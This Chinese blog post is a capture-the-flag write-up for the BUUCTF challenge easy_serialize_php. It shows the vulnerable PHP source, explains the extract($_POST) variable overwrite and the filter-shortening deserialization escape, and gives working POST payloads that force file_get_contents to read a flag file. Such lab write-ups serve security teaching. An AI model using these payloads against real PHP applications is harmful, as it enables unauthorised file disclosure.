buuctf-[安洵杯 2019]easy_serialize_php
本文最后更新于21 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

考点:变量覆盖,字符逃逸(感觉字符逃逸不自己做一遍很难真会了)

先拿到源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

代码审计

1.function filter(),这是个过滤器,会匹配传入的’php’,’flag’,’php5′,’php4′,’fl1g’,然后删掉之后返回

2.后面一段是删掉现有$_SESSION中的所有数据,然后在session中写两个键值对,user=guest和function=$function也就是会传入的f

3.重点看extract($_POST);,这会将 POST 请求中所有参数导入当前符号表,即把每个 POST 参数名作为变量名,对应的值作为该变量的值。这是一个危险操作,因为可以覆盖已存在的变量。也就是说上面有关session的代码基本上都是没用的,因为会变量覆盖掉,比如传入_SESSION[flag]=flag,_SESSION数组中只会剩下一个flag=>flag

4.后续添加了一个$_SESSION[‘img’]=base64_encode(‘guest_img.png’),接着就是$serialize_info = filter(serialize($_SESSION));,这里的先序列化后经过过滤提供了反序列化逃逸的条件

5.看到//maybe you can find something in here,所以打开phpinfo(),不难发现目标文件d0g3_f1ag.php

解题过程

思路:这里是一道缩短的反序列化字符逃逸,缩短的反序列化需要对两个变量去操作,前一个属性包含被过滤的字符,后一个变量包含要逃逸出来的东西,这题会在后面加一个$_SESSION[‘img’] = base64_encode(‘guest_img.png’);,所以还需要去把这个属性去掉,所以还要在后面加一个属性

1.想要file_get_contents()到d0g3_f1ag.php,需要_SESSION[‘img’]=”ZDBnM19mMWFnLnBocA==d0g3_f1ag.php的base64编码),我们看_SESSION序列化后会输出什么

<?php
$_SESSION["a"] = '123';
$_SESSION["b"] = '456';
$_SESSION['img'] = "ZDBnM19mMWFnLnBocA==";


echo serialize($_SESSION);

//结果:a:3:{s:1:"a";s:3:"123";s:1:"b";s:3:"456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

那我们构造的payload就要在属性的末尾加上";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==

2.我们让b的末尾加上这个东西看一下a要多吞下多少个字符

<?php
$_SESSION["a"] = '123';
$_SESSION["b"] = '456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
$_SESSION['img'] = "ZDBnM19mMWFnLnBocA==";


echo serialize($_SESSION);
//结果:a:3:{s:1:"a";s:3:"123";s:1:"b";s:44:"456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
                             !                 !    

要吃掉的地方就是这里:“;s:1:”b”;s:44:”456 我们看一下长度多少

echo strlen('";s:1:"b";s:44:"456');//结果:19

那么就要在a属性里加上4个4字符的和1个3字符的被过滤字符(4*4+3=19),比如这样

<?php
$_SESSION["a"] = '123flagflagflagflagphp';
$_SESSION["b"] = '456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
$_SESSION['img'] = "ZDBnM19mMWFnLnBocA==";


echo serialize($_SESSION);

3.我们来看后面加的img属性要被吞多少字符

<?php
$_SESSION["a"] = '123flagflagflagflagphp';
$_SESSION["b"] = '456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
$_SESSION["c"] = '789flagflagflagflagphpflagflagflagflagphp';
$_SESSION['img'] = base64_encode('guest_img.png');


echo serialize($_SESSION);
//结果:a:4:{s:1:"a";s:22:"123flagflagflagflagphp";s:1:"b";s:44:"456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"c";s:3:"789";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

“;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw== 这一段是要被吃的,我们看下长度是38=4*8+3*2,c就可以是789flagflagflagflagphpflagflagflagflagphp

4.做到这还有一个问题,4个元素变成了3个,反序列化不出来,前面的数字只能少于元素数不能多,所以还要在b的末尾加上“;s:1:”d”;s:3:”789,多加一个属性

用POST传入:_SESSION[a]=123flagflagflagflagphp&_SESSION[b]=456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"d";s:3:"789&_SESSION[c]=789flagflagflagflagphpflagflagflagflagphp

5.最后/d0g3_fllllllag的base64是L2QwZzNfZmxsbGxsbGFn我们改一下b的值得到最终payload:_SESSION[a]=123flagflagflagflagphp&_SESSION[b]=456";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"d";s:3:"789&_SESSION[c]=789flagflagflagflagphpflagflagflagflagphp

拿到flag

这里看了大佬们的WP,发现直接让属性名为被过滤词会更好,比如


<?php
    #方法一
    $_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
    #结果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密
    #过滤掉flag有
    #a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
    #使得绕过;s:51:""到达下一个封号,这时img成功逃逸出来
​
    #方法二
    $_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
   
    #方法三
    $_SESSION['flagflag']='";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
​
?>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇